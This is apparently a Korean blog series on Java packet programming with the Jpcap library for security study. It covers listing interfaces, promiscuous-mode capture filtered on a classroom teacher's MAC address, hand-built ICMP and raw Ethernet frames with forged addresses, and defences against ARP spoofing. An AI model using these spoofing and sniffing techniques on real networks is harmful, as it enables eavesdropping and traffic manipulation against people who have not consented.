위에 설명되어있듯이 ARP는    헛점이 있습니다. 그 헛점을 막으면 되는것입니다. 여과없이 IP에 해당하는 MAC주소를 ARP캐시테이블에 저장하지 않도록 , 미리 IP와 MAC주소를 맵핑해여 고정적으로 ARP 캐시 테이블에 저장해 두는 것입니다. 

또한 스위치에서 포트에대한 MAC주소를 정의할 수도 있겠습니다. 

공격유형에 따라 여러가지가 있지만 만약 1회성의 공격이라면 가만히 있으면 원상복구 되기도 합니다. 
이는 캐시테이블상의 유지를 위해 라우터나 PC가 주기적으로 확인 패킷을 주고 받는데 이때 정상적으로 요청 응답을 하게 되면 ARP캐시테이블 상의 맵핑이 정상으로 돌아옵니다.   

하지만 보통 스푸핑은 스니핑을 위한 전초단계일 뿐이고, 스니핑이 이루어지기 위해 지속적인 공격이 이루어 지므로 1회성의 공격을 기다하기보단 보다 적극적인 예방 및 해결 조치가 필요합니다.  

arp -d 명령어로 arp 캐시 테이블을 초기화 시키고 정상ARP 패킷을 받는 방법도 있지만 이는 지속적인 공격이 이루어 질 때는, 아무런 효과를 거두지 못합니다.  


-------------------------------------------------------------------------------------------------------------------------------------------------------------
정리를 하고 보니, 허술한부분이 많은것 같습니다. 그냥 같이 공부하시면서 재미있게 봐주셨으면 좋겠습니다. 
이상으로  ARP정리를 마치고  다음 글에는 조작된 ARP 패킷을 작성해 보도록 하겠습니다. 



 
AND

작성자 유창훈


환경설정 마무리하겠습니다.
다음과 같은 순서를 말씀드렸습니다

1. 전체 Packet구조인 ICMPPacket 구조를 사용하겠다 선언하고,   ICMP 멤버변수를 셋팅한다.
2. IP의 data부분인 ICMP구조가 완성되었으므로, 캡슐화순서에 따라 IP헤더부분을 작성한다.
3. getbyte() 메소드를 통해 전체 ICMPPacket로 선언된 p의 데이터링크 계층(이더넷헤더)의 해당하는 값을 할당할 수 있음을 선언한다.
4. 이더넷의 데이터 부분인 IP헤더 IP데이터(ICMP)가 다 작성되었으므로 이더넷 헤더를 작성한다.
5. 헤더 작성후, 이더넷 헤더를 기존의 ICMPPacket에 붙인다
6. 보낸다.

하지만 제가 오늘 할 프로그래밍 적 순서는 다음과 같습니다
1. 전체 Packet 구조의 기본형만을 선언한다 ( ICMPPacket사용안함)
2. 임의의 배열안에 패킷 전체 구조를 작성한다.
3. Packet의 기본형구조에 방금전 구성한 전체 패킷 구조를 맵핑한다
4. 보낸다.

---------------------------------------------------------------------------------------------------------
처음 부터 제가 생각한 프로그래밍 구조는 다음과 같습니다.

"우리가 보내고자 하는 패킷의 길이만큼  1byte형 배열을 선언하여, 바이트단위로 또는 비트단위로 헥사 값으로 셋팅하여
보낸다." 
  
Jpcap library에서 제공해주는 클래스와 메소드는 편하고 유용 합니다. 저도 다른프로젝트의 도구로 Jpcap을 사용한다면 다른 개발자와의 협업을 위해서라도 Jpcap에서 제공해주는 방법들을 다 사용할것입니다. 그게  효율적입니다.
하지만
여기서 패킷에서 비트단위또는 바이트 단위까지 헥사값이나 이진값으로 직접 보며 익히는 방법이 패킷에 대한 구조를 제일 빠르게 익히는 방법인것 같습니다. 좀... 비효율적이긴 해도요. 그래서 다음과 같이 구현하였습니다.

---------------------------------------------------------------------------------------------------------------------------

JpcapSender sender=JpcapSender.openDevice(devices[0]);
/*sender 객체를 사용하도록 선언, JpcapSender.openDevice(device[디바이스번호]);
               디바이스 번호는 앞전에 설명했었습니다. 참고하시구요 */
Packet sendPack = new Packet();
               /*Packet 클래스는 ICMP , TCP/UDP... 등등 패킷마다 각기 다른 형태를 맵핑할 수 있도록 
                  원형의 틀을 제공합니다
               Packet sendPack = new IMCPPacket(); 라고하면 ICMP패킷구조가 맵핑됩니다.
        저는 여기에 그냥 원형인 Packet(); 을 선언함으로써, 적용되는 프로토콜의 구조가 없게 만듭니다. 
               참고로 Jpcap이용시 이렇게는 거의 사용하지 않습니다. 
               
              
 byte pb[] = new byte[66];          ////
pb[0]=(byte)0x00; 
pb[1]=(byte)0x0e;
pb[2]=(byte)0xe8;
pb[3]=(byte)0x52;
pb[4]=(byte)0x98;
pb[5]=(byte)0xf6;            ...................................................
..  . ..    .. ...  .. . ............
.... ... .. ........ .. ...

sendPack.data =pb;
/*  이부분에서 좀 오래 걸렸는데요, 원래는 Packet 클래스로 선언된 객체에서 멤버인 data에 맵핑되어야할 요소는 ("asd").getBytes() 입니다. 즉, 임의의 스트링을 바이트화 해서 맵핑시키므로써(내부적으로 구체적인 로직은 모르겠습니다.) byte데이터형인 이더넷헤더구조가 맵핑가능하도록 기본 60바이트를 활성화시킵니다.
 
만약에 sendPack.data =("asdf").getBytes();  이렇게 선언되면 초기에 "asdf" 라는 스트링에 해당하는 byte값이 입력이되고 앞부분이 "asdf" 값을 제외한 나머지 공간은 비워진 상태로 총 60byte의 공간이 셋팅되게 됩니다. 이상태로 패킷을 보내면되는데, 우리가 원하는 패킷 형태로 패킷을 보내려면 위에서와 같이 byte형 배열을 지정해 놓고 미리 값을 셋팅해 놓은 상태에서 배열을  sendPack.data에 맵핑시켜주면 됩니다. 
*/
sender.sendPacket(sendPack);
                //sendPack의 인자는 Packet 클래스로 선언되지않고서는 보낼 수 가 없습니다.  
                  
sender.close();   //종료. 
================source=====================================
mport jpcap.*;
import jpcap.packet.*;

class send
{
public static void main(String[] args) throws java.io.IOException{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if(args.length<1){
System.out.println("Usage: java SentICMP <device index (e.g., 0, 1..)>");
for(int i=0;i<devices.length;i++)
System.out.println(i+":"+devices[i].name+"("+devices[i].description+")");
System.exit(0);
}
int index=Integer.parseInt(args[0]);
JpcapSender sender=JpcapSender.openDevice(devices[index]);
//////// 자기가 쓰는 인터페이스가 0 번이면 index대신에 0 넣으면됩니다. 
Packet sendPack = new Packet();

byte pb[] = new byte[14];
///////////////// 목적지 MAC address   6byte
pb[0]=(byte)0x00; 
pb[1]=(byte)0x0e;
pb[2]=(byte)0xe8;
pb[3]=(byte)0x52;
pb[4]=(byte)0x98;
pb[5]=(byte)0xf6;
//////////////// 출발지 MAC address   6byte
pb[6]=(byte)0xf4;
pb[7]=(byte)0x6d;
pb[8]=(byte)0x04;
pb[9]=(byte)0x0e;
pb[10]=(byte)0xf5;
pb[11]=(byte)0xaa;
////////    Type or Length    0x0800 = 이더넷
pb[12]=(byte)0x08;
pb[13]=(byte)0x00;

sendPack.data =pb;
sender.sendPacket(sendPack); 
sender.close(); 
}
}
================================================================
위의 소스를 실행하여서 wireshark로 잡으면 60바이트 패킷이  소스맥주소와 목적지 맥주소가 타입까지 셋팅되고 나머지는 빈 상태로 총 60바이트 전송하게 됩니다. 


이상으로 마치고 

이제는 여러 공격방법 및 SWT을 이용한 비쥬얼적인 작업을 수행하도록 하겠습니다. 

AND

작성자 유창훈 

안녕하세요. 오늘은 패킷을 보내는 과정을 알아보도록 하겠습니다.
참고로 패킷을 보내는 예제는 jpcap 사이트 가시면 친절하게 있습니다. 
하지만 저는 그 방법을 사용할 것이 아니기때문에, 좀 다른 방법을 이용하도록 하겠습니다 . 

환경 셋팅 1,2 에서는 Jpcap library를 이용하여 랜카드를 선택하고, 우리가 원하는 패킷을 필터링 하는 방법을 알아보았습니다.
그러면 이제 마지막으로 우리가 원하는 형태의 패킷을 보내기만 한다면, 기본적인과정은 끝인 샘입니다. 

먼저 기존 방법부터 설명하도록 하겠습니다. 

많이들 사용하시는 winpcap에서는 sendPacket함수 인자에 전송 하고자하는 버퍼를  선언해 내용을 구성하고,  버퍼의 포인터와 길이를 넘겨줌으로써 패킷을 쉽게 보낼 수 있습니다. 이건 기존 레퍼런스도 많고 데이터형도 별로 따지지 않는데, Jpcap은 조금 다릅니다.

Jpcap은 winpcap에 비해 자바 특성인 클래스를 잘 살려서 각종 메소드와, 오브젝트를 사용합니다. 
데이터링크계층은 이더넷이라 가정하고, ICMP패킷을 예를 들어보겠습니다.

ICMP패킷을 보내기 위해서 친절하게 Jpcap은 ICMP패킷의 구조 자체를 멤버 변수로 구성해서 객체화하여 가지고 있습니다.
캡슐화되는 순서에 따라 제일먼저 ICMP 구성하고  IP헤더 구성해서  ICMP앞에 붙이고  ,  Ethernet 구성해서 IP헤더 앞에 붙이고,  ..... 이런 순서로 프로그래밍을 하게 됩니다. 
ICMP   =======>>    IP header + (ICMP) ==========>>  ( EthernetHeader + (IP_Header + (ICMP)))


프로그래밍 순서가 딱히 정해져 있는 것은 아니지만 이렇게 구현하는 것이 여러면에서 쉽습니다.


ICMP 구성
---------------------------------------------------------------------
ICMPPacket p=new ICMPPacket();
이렇게 선언하고   --  기존에 Jpcap이 다 만들어 놓은 틀을 사용하겠다!!!는뜻.
ICMPPacket 이라는 큰 틀은 p라는 이름으로 사용합니다.
<br />
  p.type=ICMPPacket.ICMP_TSTAMP;
p.seq=1000;
p.id=999;
p.orig_timestamp=123;
p.trans_timestamp=456;
p.recv_timestamp=789;
이렇게 값을 설정 할 수 있습니다. 
---------------------------------------------------------------------
IP헤더는 이렇게 
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_ICMP,
InetAddress.getByName("www.yahoo.com"),InetAddress.getByName("www.amazon.com"));
p.data="data".getBytes();     

각 파라메터 순서로 그냥 셋팅할 수 있습니다. 참... 쉽죠?...그냥 어서 셋팅해 달라고 하는것 같네요. 
빨간줄 부분.... 희한한 놈입니다.. 

아시다시피  getByte()메소드는  앞에 스트링 "data"를 바이트로 변환 시켜줍니다. 이것을 packet 클래스의 byte형 배열인 data멤버에 맵핑시켜주게되면,  최소 60byte 이상의 공간을 할당받고  p에 데이터링크 계층에 해당하는 값을 할당 가능한 형태로 선언되게 됩니다. (데이터링크 계층의 헤더에 해당하는 값을 할당가능하게 해준다는 말이 더 정확할 것 같습니다)

소스분석만으로 볼때 순서상으로는 ICMP의 데이터부분인, ping을 할때 임의의 데이터를 선언하는 것으로 보이는데 , 참... 이리저리 돌려 테스트 해보니까 다양하게 쓰일 수도 있겠더라구요. 

한 예로 데이터 링크 영역의 값만을 셋팅하여 패킷을 보낼 때 사용되기도 합니다. 예를들어 이더넷에서 헤더만을 구성하여(목적지 맥주소, 소스 맥주소, 타입 or 길이)이렇게 만 구성하고 보낼 수 도 있다는 뜻입니다.


---------------------------------------------------------------------
다음 이더넷 해더를 구성하기 위해 "EthernetPacke" 이라는 클래스를 사용하고 
---------------------------------------------------------------------
  EthernetPacket ether=new EthernetPacket();
이렇게 선언하고   --  기존에 Jpcap이 다 만들어 놓은 틀을 사용하겠다!!!는뜻.

ether.frametype=EthernetPacket.ETHERTYPE_IP;
ether.src_mac=new byte[]{(byte)0,(byte)1,(byte)2,(byte)3,(byte)4,(byte)5};
ether.dst_mac=new byte[]{(byte)0,(byte)6,(byte)7,(byte)8,(byte)9,(byte)10};

이렇게 값을  기냥 셋팅해버리고

p.datalink=ether;
이렇게 ICMPPacket 클래스의  datalink 에 방금 구성한 이더넷 구조를  맵핑시킵니다. 

sender.sendPacket(p);
그리고 이렇게 보냅니다. 

즉, 
1. 전체 Packet구조인 ICMPPacket 구조를 사용하겠다 선언하고,   ICMP 멤버변수를 셋팅한다.
2. IP의 data부분인 ICMP구조가 완성되었으므로, 캡슐화순서에 따라 IP헤더부분을 작성한다.
3. getbyte();메소드를 통해 전체 ICMPPacket로 선언된 p의 데이터링크 계층(이더넷헤더)의 해당하는 값을 할당할 수 있음을 선언한다.
4. 이더넷의 데이터 부분인 IP헤더 IP데이터(ICMP)가 다 작성되었으므로 이더넷 헤더를 작성한다.
5. 헤더 작성후, 이더넷 헤더를 기존의 ICMPPacket에 붙인다
6. 보낸다.

=========full source ================================================
SendICMP.java


import jpcap.*;
import jpcap.packet.EthernetPacket;
import jpcap.packet.ICMPPacket;
import jpcap.packet.IPPacket;

class SendICMP
{
public static void main(String[] args) throws java.io.IOException{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if(args.length<1){
System.out.println("Usage: java SentICMP <device index (e.g., 0, 1..)>");
for(int i=0;i<devices.length;i++)
System.out.println(i+":"+devices[i].name+"("+devices[i].description+")");
System.exit(0);
}
int index=Integer.parseInt(args[0]);
JpcapSender sender=JpcapSender.openDevice(devices[index]);

ICMPPacket p=new ICMPPacket();
p.type=ICMPPacket.ICMP_TSTAMP;
p.seq=1000;
p.id=999;
p.orig_timestamp=123;
p.trans_timestamp=456;
p.recv_timestamp=789;
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_ICMP,
InetAddress.getByName("www.yahoo.com"),InetAddress.getByName("www.amazon.com"));
p.data="data".getBytes();

EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_IP;
ether.src_mac=new byte[]{(byte)0,(byte)1,(byte)2,(byte)3,(byte)4,(byte)5};
ether.dst_mac=new byte[]{(byte)0,(byte)6,(byte)7,(byte)8,(byte)9,(byte)10};
p.datalink=ether;

//for(int i=0;i<10;i++)
sender.sendPacket(p);
}
}
===============================================================

여기까지가 기존의 Jpcap에서 지원하는 방법으로 ICMP패킷을 보내는 방법입니다.  내용이 길어졌네요,  

이제 우리가 구현할 방법을 설명할 차례인데....너무 피곤하네요.. 3시인지라... 
오늘 다쓰려고했는데 너무 많아졌습니다. 

일단 자고 일어나서 올리도록 하겠습니다.

'프로그래밍 > jpcap programming' 카테고리의 다른 글

ARP 이해 및 공격방어  (0) 2011.06.02
Jpcap을 이용한 패킷 보내기 2  (0) 2011.06.02
JPCAP 패킷 캡쳐  (0) 2011.06.02
JPCAP 인터페이스 리스트 출력  (0) 2011.06.02
eclipse java소스 자동정렬  (0) 2011.05.23
AND

작성자 : 유창훈

안녕하세요 이번엔, 패킷을 캡쳐하는 방법을 설명하도록 하겠습니다. 
지난 번에 말씀드렸던 jpcap에서는 몇가지 유용한 패키지를 제공해주고 있습니다. 
저번시간에  JpcapCaptor.getDeviceList() 라는 메소드를 통해서 디바이스 드라이버 정보를 얻어오는 방법을 알아보았습니다.

이번 시간에는 패킷을 캡쳐해주는 메소드에 대해서 알아보도록 하겠습니다.

 int snaplen, boolean promisc, int to_ms)

이 메소들를 통해서 패킷을 받아오게 되는데요. 다음의 메소드도 같이 보세요. 

위 두개의 메소드는 항상 같이 쓰인다는걸 기억해두세요.
openDevice 메소드를 통해 패킷 캡쳐를 활성화 시키고, loopPackt으로 패킷이 캡쳐되었을때 어떠한 행동을 할지 지정이 가능합니다


  • openDevice(인터페이스번호, 한번에 캡쳐가능한byte, true면 promisc모드, processPacket()의 Timeout)
  • loopPacket(캡쳐할 패킷수[-1이면 무제한], 패킷이 캡쳐되었을때 실행할 메소드)



일단 소스를 보면서 얘기하도록 하겠습니다.

일단  패킷캡쳐하는 부분만 따로 테스트를 해보느라, 저번에 소스와 통합과 GUI프로그래밍은 패킷 보내기 까지 완성된후 하도록 하겠습니다. 

여기서 dump클래스는 패킷이 캡쳐되었을때, 수행되는 클래스입니다. dump에서 결과적으로 eceivePacket()메소드가 실행되는 구조입니다.


=========dump.java===========
 
import jpcap.*;
import jpcap.packet.Packet;

class dump implements PacketReceiver {
public void receivePacket(Packet p) {
/*Jpcap에서 패킷을 받아오는 형식은 byte형 으로 어떤 패킷구조 형식을 띄기 쉬운 형태로 유저에게 던져주게 됩니다. Jpcap에서 사용자 편하게 하려고 여러 메소드들을 많이 만들어놔서 구현이 편하게 하였는데요. 개인적으로 제가 하고자하는 것은 프래임에서 앞에 동화를 위한 dst_mac addr부터 시작되는 모든 부분을 가공이 되지 않은 형태로 받아와서 , 우리가 원하는 형태로 조작하는 것이기 때문에, 최대한 어떠한 틀이 잡혀있지 않은상태로 , 단순히 배열에 쭉~ 담겨져있는 상태로 패킷을 받고자 하였습니다.
*/
byte[] bytes = new byte[p.header.length + p.data.length];
//Jpcap이라는 놈이 패킷을 잡았을때,  어떠한 패킷이든 Packet이라는 틀에 넣어두면서 //header과 data부분으로 구분지어 놓는 형태입니다. 
 
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);
//이렇게 하면 우리가 선언한 bytes 라는 byte형 배열에 캡쳐된 패킷이 쭉 담기게 됩니다. 

if(bytes[6]==(byte)0x00 && 
bytes[7]==(byte)0x0d &&
//byte형 배열이라 byte형태로 값을 비교합니다. 매줄마다 형변환하는게 귀찮아서  
//한번에 어떻게 처리해놓고하는방법이 없을까 했는데, 잘 안되네요. . 자바 고수님들 ~~help//

bytes[8]==(byte)0x60 &&
bytes[9]==(byte)0xb7 &&
bytes[10]==(byte)0x40 &&
bytes[11]==(byte)0xf7 )  
               //저희 강의실 선생님 컴퓨터 맥주소가  00-0d-60-b6-40-f7입니다.
//이더넷프래임에서 6,7,8,9,10,11번째 바이트가 출발지 mac주소입니다.
{
System.out.println("From teacher");
}
/*
StringBuffer buf = new StringBuffer();
for (int i = 0, j; i < bytes.length;) {
for (j = 0; j < 8 && i < bytes.length; j++, i++) {
String d = Integer.toHexString((int) (bytes[i] & 0xff));
buf.append((d.length() == 1 ? "0" + d : d) + " ");
if (bytes[i] < 32 || bytes[i] > 126)
bytes[i] = 46;
}
buf.append("[" + new String(bytes, i - j, j) + "]\n");
}
System.out.println(buf.toString());
*/
}

public static void main(String[] args) throws Exception {

NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if (args.length < 1) {
System.out.println("usage: java Tcpdump <select a number from the following>");

for (int i = 0; i < devices.length; i++) {
System.out.println(i + " :" + devices[i].name + "("
+ devices[i].description + ")");
System.out.println("    data link:" + devices[i].datalink_name
+ "(" + devices[i].datalink_description + ")");
System.out.print("    MAC address:");
for (byte b : devices[i].mac_address)
System.out.print(Integer.toHexString(b & 0xff) + ":");
System.out.println();
for (NetworkInterfaceAddress a : devices[i].addresses)
System.out.println("    address:" + a.address + " "
+ a.subnet + " " + a.broadcast);
}
} else {
JpcapCaptor jpcap = JpcapCaptor.openDevice(devices[Integer.parseInt(args[0])], 2000, true, 1);
//j실행을위한 arg값을 인자로 받아실행, 최대 2000byte까지캡쳐, promics모드작동
 
jpcap.loopPacket(-1, new dump());          
///패킷이 캡쳐되면 dump()를 실행하여라
}
}
}
=======================
실행한상태에서 다른커맨드창 띄워서 ping 을 하면 필터링된 맥주소가 출발지인 패킷만 화면에 보여주게 됩니다.

이제 우리가 원하는 디바이스에 접근하여 원하는 모드로  원하는 양만큼 패킷을 캡쳐할 수 있고, 무엇보다도 원하는 형태의 패킷을 캡쳐할 수 있습니다.
오늘은 여기까지 하도록 하겠습니다. 

다음시간은 패킷 보내는걸 알아보도록 하겠습니다.

* 참고로 녹색으로 주석 되어있는부분은 출력형식을 좀 조절하여 표현한것입니다. 간단하게 패킷 캡쳐 프로그램을 구현해 보았습니다.
 



AND

기본적인 환경셋팅과 jpcap을 이용한 랜카드 디바이스 정보의 출력을  해보겠습니다.


1. java & eclipse를 설치합니다. 
이부분은 넘어가겠습니다

2. jpcap을 설치합니다

여기로 가시면 운영체제 별로 다운하실 수 있습니다. 
저는 우분투이므로 패키지형태로 설치하였습니다.
패키지 열어보시면 아시겠지만    /usr/java/packages/lib/ext/jpcap.jar 이렇게 위치하고있으며,
 import java.*;과 import java.packet.*;         
을 추가하시면 됩니다.

3. 그럼 eclipse에서 프로로젝트, 패키지, 클래스(저는 클래스 이름은 ToolMain 으로 하였습니다) 생성하시고 

ToolMain.java ======================================================

package Tool;

import jpcap.*;
import jpcap.packet.*;
public class ToolMain
{
public static void main(String[] args) 
       {
//for save each inteface information
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
//for each network interface
for (int i = 0; i < devices.length; i++) 
 {
               //print out its name and description
 System.out.println(i+": "+devices[i].name + "(" + devices[i].description+")");

              //print out its datalink name and description
 System.out.println(" datalink: "+devices[i].datalink_name + "(" + devices[i].datalink_description+")");

             //print out its MAC address
System.out.print(" MAC address:");
 
   for (byte b : devices[i].mac_address)
        System.out.print(Integer.toHexString(b&0xff) + ":");
  
System.out.println();

 //print out its IP address, subnet mask and broadcast address
 for (NetworkInterfaceAddress a : devices[i].addresses)
  System.out.println(" address:"+a.address + " " + a.subnet + " "+ a.broadcast);
}

}
}
==========================

위의 내용을 복사하고 실행합니다. 혹시 import jpcap.*;  이나 import jpcap.pcap.*;에서 오류가 발생한다면 
'run configuration'에서 'Source Lookup Path' 의 'default'에 jpcap.jar - /usr/java/packegs/lib/ext가 추가되어있는지 확인해 보시고
또한
'project'에 'properties'가셔서 'java compiler'에 Errors/Warnings에 보시면 우측 상단에 Configure Workspace Settings..이라는 부분이 보이실겁니다. 거기 클릭하셔서  중간에 Edprecated and restricted API에 Frobidden reference(access rules) 를 Ignore로 바꾸어주세요.


앞으로 우리가 사용하게 될 라이브러리는 JPcap입니다. 윈도우의 winpcap 자바버전이라고 생각하시면 됩니다.
앞으로 제가 디바이스드라이버 및 프로그램을 구현하여 랜카드에 접근하고 오고 패킷을 캡쳐 및 보내려고  하면  엄청나게 공부가 되겠지만, 시간도 오래걸리고  이 글을 쓰는 목적에도 벗어나게 됩니다. 
네트워크 상에서 패킷을 이용한 공격방어 알고리즘을 구현하고 툴을 제작함으로써  보안 공부 가 목적이기 때문에 JPcap 라이브러리를 이용하여 패킷의 receive & sending을 처리하도록 하겠습니다.

 사용할 JPcap관련 소스는 http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html    에  tutorial 에 나와있습니다. 참고하시기 바랍니다.

             ===============
//for save each inteface information
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
 ===============

이 부분은 JPcap 라이브러리를 이용해서 PC의 네트워크 인터페이스에 접근하여 devices에 저장합니다

NewtorkInterface는 다음과 같이 정의되어있으며, 해당 정보가 저장되게 됩니다.

==================

public NetworkInterface(java.lang.String name
 java.lang.String description
 boolean loopback
 java.lang.
String datalink_name
 java.lang.String datalink_descriptionclass, 
 byte[] mac
NetworkInterfaceAddress [] addresses)

==================


name: 인터페이스 이름(eth0)
description: 인터페이스 설명("3com... or null")
loopback : 해당인터페이스가 루프백이면 TRUE
datalink_name : 데이터 전송방식?..연결방식 뭐... ethernet tokenring...이런거
datalink_description : 설명 (null)
mac : 인터페이스 mac 주소
address : ip,subnet,broadcast주소 


NetworkInterfaceAddress[] addresses 부분에서 NetworkInterfaceAddress부분을 살펴보면 다음과 같습니다
=================

public NetworkInterfaceAddress(      byte[] address,
 byte[] subnet, 
 byte[] broadcast, 
 byte[] destination)

================

각각 직관적으로 아실 내용들이고, 마지막에 
destination 은 보통의 경우 null값이므로 표시되지 않지만 P2P connection을 하는 경우에 적용되는 것으로 확인됩니다.

 나머지 아래 부분 설명은 생략하겠습니다. 단순 출력이라.....

이렇게 하시면 
0: eth0(null)
 datalink: EN10MB(Ethernet)
 MAC address:f4:6d:4:e:f5:aa:
 address:/210.109.3.123 /255.255.255.192 /210.109.3.127
 address:/fe80:0:0:0:f66d:4ff:fe0e:f5aa /ffff:ffff:ffff:ffff:0:0:0:0 null

1....
;;;
2...

이런식으로 출력되시는걸 확인 하 실 수 있으실겁니다. 
여기서 선택되어진 정보(네트워크 인터페이스)를 가지고 차후 하게될 패킷 보내고 캡쳐하는데 쓰게됩니다. 

오늘은 여기까지 하겠습니다.
조금이나마 JPcap에 대한 생소함이 사라지셨으면 좋겠네요.

앞으로는 class 별로 소스 하나하나를 생성하여 관리하도록 하겠습니다. 
Swing을 이용해서 그래픽적으로 출력하는 부분을 하게될것이며 , 
그거와 동시에 JPcap  capture와 sending에 대한 부분을 조금 더 알아보도록 하겠습니다. 

'프로그래밍 > jpcap programming' 카테고리의 다른 글

ARP 이해 및 공격방어  (0) 2011.06.02
Jpcap을 이용한 패킷 보내기 2  (0) 2011.06.02
Jpcap을 이용한 패킷 보내기 1  (0) 2011.06.02
JPCAP 패킷 캡쳐  (0) 2011.06.02
eclipse java소스 자동정렬  (0) 2011.05.23
AND